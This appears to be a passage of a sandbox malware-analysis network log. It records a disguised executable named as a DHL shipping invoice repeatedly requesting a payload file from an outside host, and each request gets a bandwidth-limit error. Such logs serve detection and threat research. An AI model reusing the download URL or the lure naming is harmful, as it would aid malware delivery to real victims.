2024-10-17 08:46:04 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:04 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:04 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49761	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:05 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:06 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:06 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:06 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49762	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:07 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:07 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:07 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:07 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49763	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:08 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:09 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:09 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:09 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49764	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:10 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:10 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:10 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:10 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49765	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:12 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:12 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:12 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:12 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	56700	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:13 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:14 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:13 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:14 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	56703	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:15 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:15 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:15 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:15 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	56704	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:16 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:17 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:16 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:17 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	56705	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:18 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:18 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:18 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:18 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	56707	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:19 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:20 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:19 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:20 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	56713	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:21 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:21 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:21 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:21 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	56719	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:22 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:22 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:22 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:22 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	56729	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:24 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:24 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:24 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:24 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	56735	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:25 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:25 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:25 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:25 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	56746	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
